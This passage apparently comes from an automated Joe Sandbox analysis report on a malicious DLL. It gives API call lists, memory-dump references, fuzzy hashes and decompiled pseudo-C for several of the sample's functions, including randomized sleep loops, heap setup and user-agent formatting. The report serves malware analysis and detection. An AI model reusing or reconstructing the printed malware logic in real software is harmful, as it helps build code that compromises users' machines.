                    • QueueUserAPC.KERNELBASE(?,00000000,?), ref: 00E51FC3
                    • GetLastError.KERNEL32(00000000), ref: 00E51FCE
                    • TerminateThread.KERNEL32(00000000,00000000), ref: 00E51FD8
                    • CloseHandle.KERNEL32(00000000), ref: 00E51FDF
                    • SetLastError.KERNEL32(00000000), ref: 00E51FE8
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                    • String ID:
                    • API String ID: 3832013932-0
                    • Opcode ID: 82808a460d8a5192a581ed5f871c3c358e29bf3d27d8a1103b405f684f3abd31
                    • Instruction ID: f58fa331c20f1a092c153c40604ecaac33b5c1d1fb1c9219cb96c6ce2bf43f40
                    • Opcode Fuzzy Hash: 82808a460d8a5192a581ed5f871c3c358e29bf3d27d8a1103b405f684f3abd31
                    • Instruction Fuzzy Hash: 02F01232209720FFD7655BB2AC08F5BBF69FF08793F004D04FA01B51A0D7658A189BA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C2523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 59%
                    			E027C2523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E027C4520();
				if(_t21 != 0) {
					_t60 =  *0x27ca2fc; // 0x2000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x27ca2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x27ca178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E027C3037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x27ca348; // 0x10fd5a8
					if( *0x27ca2fc > 5) {
						_t8 = _t26 + 0x27cb51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x27cb9db; // 0x44283a44
						_t27 = _t7;
					}
					E027C4332(_t27, _t27);
					_t31 = E027C415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E027C27A0();
						 *0x27ca310 =  *0x27ca310 ^ 0x81bbe65d;
						 *0x27ca36c = _t32;
						_t33 = E027C33DC(0x60);
						 *0x27ca3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x27ca3cc; // 0x38c9600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x27ca3cc; // 0x38c9600
							 *_t52 = 0x27cb142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x27ca2d8, 0, 0x43);
							 *0x27ca368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x27ca2fc; // 0x2000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x27ca348; // 0x10fd5a8
								_t13 = _t59 + 0x27cb74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x27c927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E027C3BD3( ~_v8 &  *0x27ca310, 0x27ca00c); // executed
								_t55 = E027C1D8A(0, _t56, _t62, _t64, 0x27ca00c);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E027C6EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E027C6815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E027C5C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x27ca17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E027C23C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                    0x027c2523
                    0x027c252d
                    0x027c2530
                    0x027c2533
                    0x027c2536
                    0x027c253d
                    0x027c253f
                    0x027c254b
                    0x027c254d
                    0x027c254d
                    0x027c2556
                    0x027c255c
                    0x027c2561
                    0x027c257b
                    0x027c2587
                    0x027c2589
                    0x027c258e
                    0x027c2598
                    0x027c2598
                    0x027c2590
                    0x027c2590
                    0x027c2590
                    0x027c2590
                    0x027c259f
                    0x027c25ac
                    0x027c25b3
                    0x027c25b8
                    0x027c25b8
                    0x027c25c1
                    0x027c25c4
                    0x027c25ea
                    0x027c25ef
                    0x027c25fb
                    0x027c2600
                    0x027c2605
                    0x027c260a
                    0x027c260c
                    0x027c2638
                    0x027c263a
                    0x027c260e
                    0x027c2612
                    0x027c2617
                    0x027c261c
                    0x027c2623
                    0x027c2629
                    0x027c262e
                    0x027c2634
                    0x027c263b
                    0x027c263d
                    0x027c263f
                    0x027c264e
                    0x027c2654
                    0x027c2659
                    0x027c265b
                    0x027c268b
                    0x027c268d
                    0x027c265d
                    0x027c265d
                    0x027c2663
                    0x027c2670
                    0x027c2676
                    0x027c2676
                    0x027c267e
                    0x027c2687
                    0x027c268e
                    0x027c2690
                    0x027c2692
                    0x027c2699
                    0x027c26a6
                    0x027c26b0
                    0x027c26b2
                    0x027c26b4
                    0x00000000
                    0x00000000
                    0x027c26b6
                    0x027c26bb
                    0x027c26bd
                    0x027c26c4
                    0x027c26c8
                    0x027c26cb
                    0x027c26e0
                    0x027c26e4
                    0x027c26e9
                    0x00000000
                    0x027c26e9
                    0x027c26cd
                    0x027c26cf
                    0x00000000
                    0x00000000
                    0x027c26da
                    0x027c26dc
                    0x027c26de
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c26de
                    0x027c26c1
                    0x027c26c1
                    0x027c2692
                    0x027c25c6
                    0x027c25c6
                    0x027c25cb
                    0x027c26eb
                    0x027c26f0
                    0x027c26f8
                    0x027c26f8
                    0x00000000
                    0x027c26f0
                    0x027c25d1
                    0x027c25d4
                    0x027c25de
                    0x027c25e5
                    0x00000000
                    0x027c2700
                    0x027c2700
                    0x027c2703
                    0x027c2707
                    0x027c2707

                    APIs
                      • Part of subcall function 027C4520: GetModuleHandleA.KERNEL32(4C44544E,00000000,027C253B,00000001), ref: 027C452F
                    • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 027C25B8
                      • Part of subcall function 027C27A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 027C27C4
                      • Part of subcall function 027C27A0: wsprintfA.USER32 ref: 027C2828
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • memset.NTDLL ref: 027C2612
                    • RtlInitializeCriticalSection.NTDLL(038C95C0), ref: 027C2623
                      • Part of subcall function 027C5C31: memset.NTDLL ref: 027C5C4B
                      • Part of subcall function 027C5C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 027C5C91
                      • Part of subcall function 027C5C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 027C5C9C
                    • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 027C264E
                    • wsprintfA.USER32 ref: 027C267E
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                    • String ID:
                    • API String ID: 1825273115-0
                    • Opcode ID: d73362a4f645b9a81668d319be91bbb37b0545ca6f60e6d3252d66f9929c2544
                    • Instruction ID: 6d965341e2f88b86d9feac9e693d8f2b380141a09afaf76834e3ebedb1c8a030
                    • Opcode Fuzzy Hash: d73362a4f645b9a81668d319be91bbb37b0545ca6f60e6d3252d66f9929c2544
                    • Instruction Fuzzy Hash: 25511A71E40229ABDB11AFB4DCA8B6F37B8BB04705F30886DE901F7282D77599408F60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8AD2D Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: dllmain_raw$dllmain_crt_dispatch
                    • String ID:
                    • API String ID: 3136044242-0
                    • Opcode ID: 36af4f6c74418581e7c621259af26f16c6f87ebfbd2d4eae98e9c1a2830e9c31
                    • Instruction ID: 47991926a805a533e524d2497c5e97365d0b74af6a9758a372ba1e001bba89c1
                    • Opcode Fuzzy Hash: 36af4f6c74418581e7c621259af26f16c6f87ebfbd2d4eae98e9c1a2830e9c31
                    • Instruction Fuzzy Hash: 6921B572D032A9ABCB214F55CC44AAF3A79EB85B9AF10451AF8149B790D7308D018FE1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB72920 Relevance: 7.5, APIs: 5, Instructions: 27COMMON
                    Download Yara Rule
                    APIs
                    • CreateDialogParamA.USER32(6CBB1FB8,00000001,00000000,6CB71100,00000000), ref: 6CB72938
                    • DestroyWindow.USER32(00040430,?,6CB88CC5,6CB70000,?,6CBB1FE8,6CBB1FB8), ref: 6CB72944
                    • KiUserCallbackDispatcher.NTDLL(00020434,?,6CB88CC5,6CB70000,?,6CBB1FE8,6CBB1FB8), ref: 6CB72951
                    • std::ios_base::good.LIBCPMTD ref: 6CB7295C
                    • ExitProcess.KERNEL32 ref: 6CB7296A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: CallbackCreateDestroyDialogDispatcherExitParamProcessUserWindowstd::ios_base::good
                    • String ID:
                    • API String ID: 4201430139-0
                    • Opcode ID: d47963b43c24f1869ff9c30905bbb97293cded6260ad2a466e29a19a24d2792f
                    • Instruction ID: 84e412deb64d3f5e199e81d34d5b29c39f9835bd7b44fcd2ae6fa11d5a9cdb9a
                    • Opcode Fuzzy Hash: d47963b43c24f1869ff9c30905bbb97293cded6260ad2a466e29a19a24d2792f
                    • Instruction Fuzzy Hash: 4AF0857A740200ABCF04CBA5E959F6A3779F78B200F084008FA068B280CE71E8008F65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C4358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(80000002), ref: 027C43B5
                    • SysAllocString.OLEAUT32(027C4D42), ref: 027C43F9
                    • SysFreeString.OLEAUT32(00000000), ref: 027C440D
                    • SysFreeString.OLEAUT32(00000000), ref: 027C441B
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: cd0e141e343b594310c3fdec85fc32911c9af071f2eb855730d29095ef683240
                    • Instruction ID: 5289d19ce92108bc6231896a5fa4a4ff22f4d8092fb88ced5f1cbf9842ecc567
                    • Opcode Fuzzy Hash: cd0e141e343b594310c3fdec85fc32911c9af071f2eb855730d29095ef683240
                    • Instruction Fuzzy Hash: E0312F76900209EFCB15DFA8D8E49AE7BB9FF48315B30842EF906A7250D7349681CF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 65%
                    			E027C213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L027C8436();
					_t34 = _t16 + _t13;
					_t17 = E027C6269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                    0x027c2143
                    0x027c214e
                    0x027c214f
                    0x027c214f
                    0x027c215b
                    0x027c2164
                    0x027c2167
                    0x027c216b
                    0x027c216d
                    0x027c2172
                    0x027c2173
                    0x027c2174
                    0x027c217e
                    0x027c2181
                    0x027c2188
                    0x027c218c
                    0x027c2193
                    0x027c2199
                    0x027c21a3

                    APIs
                    • SwitchToThread.KERNEL32(?,00000001,?,?,?,027C5044,?,?), ref: 027C214F
                    • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,027C5044,?,?), ref: 027C215B
                    • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 027C2174
                      • Part of subcall function 027C6269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 027C6308
                    • Sleep.KERNELBASE(00000003,00000000,?,00000001,?,?,?,027C5044,?,?), ref: 027C2193
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                    • String ID:
                    • API String ID: 1610602887-0
                    • Opcode ID: 5c790eccc8c7b606fe7acea68cd47c205afade7b7547c612ec23fe1b3ace1f4f
                    • Instruction ID: 6191d6e278a8e574ab58d39f86fda2bc4326269251918e7e12bc48c99ef3fbd9
                    • Opcode Fuzzy Hash: 5c790eccc8c7b606fe7acea68cd47c205afade7b7547c612ec23fe1b3ace1f4f
                    • Instruction Fuzzy Hash: 02F0A477B40204BBD7159AB4CC5DBEF76B9DB84361F20052CE601E7340E6B49A418A90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E00E51FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E00E51226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                    0x00e51ffe
                    0x00e52003
                    0x00e52011
                    0x00e52016
                    0x00e52016
                    0x00e5201c
                    0x00e52021
                    0x00e52025
                    0x00e52029
                    0x00e52029
                    0x00e52033
                    0x00e5203c

                    APIs
                    • GetCurrentThread.KERNEL32 ref: 00E51FF8
                    • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 00E52003
                    • SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 00E52016
                    • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 00E52029
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: Thread$Priority$AffinityCurrentMask
                    • String ID:
                    • API String ID: 1452675757-0
                    • Opcode ID: fe149a3b3dea23cb319f4f10ff0122be778873a64ce60082cc1473354a3e52fc
                    • Instruction ID: a8f419ba9bf9baa95cd3a4347c1657fb30d8bc120209ab73161316ca3ecf2283
                    • Opcode Fuzzy Hash: fe149a3b3dea23cb319f4f10ff0122be778873a64ce60082cc1473354a3e52fc
                    • Instruction Fuzzy Hash: 83E092312067112FE2222B3A6C84E6B775CEF963777010A39F920F22E0DB548E0DD5A5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8561F Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 541COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • koStMeQaxFYJtQtWyKISSodO, xrefs: 6CB8603C
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: koStMeQaxFYJtQtWyKISSodO
                    • API String ID: 1384045349-1538454215
                    • Opcode ID: ad65bf5a35bcd4ccd05a0d17f8a27a42a07de5d947ac0751e4d4f068f7751f65
                    • Instruction ID: 50d79b65446c541ac5047de7ee829ccd1da13b5d04b11b6f12f10781d7e9dbee
                    • Opcode Fuzzy Hash: ad65bf5a35bcd4ccd05a0d17f8a27a42a07de5d947ac0751e4d4f068f7751f65
                    • Instruction Fuzzy Hash: 874236B090A1A9CBEF20CF04CC94B9DB7B1BB41309F5441C9D50A6BA40DBB59ACDCF5A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB7F945 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 536COMMON
                    Download Yara Rule
                    APIs
                    • PathFileExistsW.KERNELBASE(GpyAtREiGcDXEQPbxXYtChTog), ref: 6CB7FC0B
                    • task.LIBCPMTD ref: 6CB80399
                    Strings
                    • GpyAtREiGcDXEQPbxXYtChTog, xrefs: 6CB7FC06
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ExistsFilePathtask
                    • String ID: GpyAtREiGcDXEQPbxXYtChTog
                    • API String ID: 2817137138-4051016089
                    • Opcode ID: cc8bce231b02e3053a2ec6f526204deec9be895f55cd6e65ccaf652d941afd98
                    • Instruction ID: b4b594943cc33c35f750aa2347142a8bf8ad7f3e703d666b486fedf379c3ac27
                    • Opcode Fuzzy Hash: cc8bce231b02e3053a2ec6f526204deec9be895f55cd6e65ccaf652d941afd98
                    • Instruction Fuzzy Hash: 174239709052A9CAEF24CF44DC54BEDB7B1BB41308F5481D9D8193BA80DBB59AC8CF66
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB84A95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: R
                    • API String ID: 1384045349-3347607022
                    • Opcode ID: 21c0ca9f6de38d3211f61d79b768d5a6b87ca2f326f78f7fe03a3283205f46d0
                    • Instruction ID: b01ad37ff46b1e9050bce3c55408ae35b2eabac9b13a88128612015bf1724804
                    • Opcode Fuzzy Hash: 21c0ca9f6de38d3211f61d79b768d5a6b87ca2f326f78f7fe03a3283205f46d0
                    • Instruction Fuzzy Hash: 2D411A71D011A88BCB24CB64CCA0BEEB779AB55309F548199D51A7BA40DF306E88CF61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB88DCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • OcTFHDfxRAQzoqzaRWrEDprGjuFfj, xrefs: 6CB88E80
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: OcTFHDfxRAQzoqzaRWrEDprGjuFfj
                    • API String ID: 1384045349-1334066115
                    • Opcode ID: ab67dbbd689994f1c4a0bea0709c382f254d8b0744eed701f074c2a1ee06a0c9
                    • Instruction ID: 74d84a62231f821e1ded9cdad4875790f057a1ab6b81898b71d995c48b423689
                    • Opcode Fuzzy Hash: ab67dbbd689994f1c4a0bea0709c382f254d8b0744eed701f074c2a1ee06a0c9
                    • Instruction Fuzzy Hash: 271119B5E00154DBCB28DB94CC94BEEB7B9BB58305F0485A9D519A7640EB306E48CF39
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C5006 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C5006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x27ca2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x27ca1c8 = GetTickCount();
				_t5 = E027C54D8(_a4);
				if(_t5 == 0) {
					_t5 = E027C213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E027C6392(_t9) != 0) {
							 *0x27ca300 = 1; // executed
						}
						_t7 = E027C2523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                    0x027c5006
                    0x027c500f
                    0x027c5015
                    0x027c501c
                    0x027c5020
                    0x00000000
                    0x027c5020
                    0x027c502d
                    0x027c5032
                    0x027c5039
                    0x027c503f
                    0x027c5046
                    0x027c504f
                    0x027c5051
                    0x027c5051
                    0x027c505b
                    0x00000000
                    0x027c505b
                    0x027c5046
                    0x027c5060

                    APIs
                    • HeapCreate.KERNELBASE(00000000,00400000,00000000,027C107E,?), ref: 027C500F
                    • GetTickCount.KERNEL32 ref: 027C5023
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: CountCreateHeapTick
                    • String ID: DhaC
                    • API String ID: 2177101570-3771056162
                    • Opcode ID: 02f1164235eb75a46a1119332bea36f947ac1cb5145475255d696cefb387a5ad
                    • Instruction ID: e000e20ea56bc6825d86c28d470282378430d4a258ca9dd589391da2e2cbbe30
                    • Opcode Fuzzy Hash: 02f1164235eb75a46a1119332bea36f947ac1cb5145475255d696cefb387a5ad
                    • Instruction Fuzzy Hash: 46F09270AC4706EADB622F70AC287163595AF44725FB0C82DEE01F4181EF72E4A0DE65
                    Uniqueness

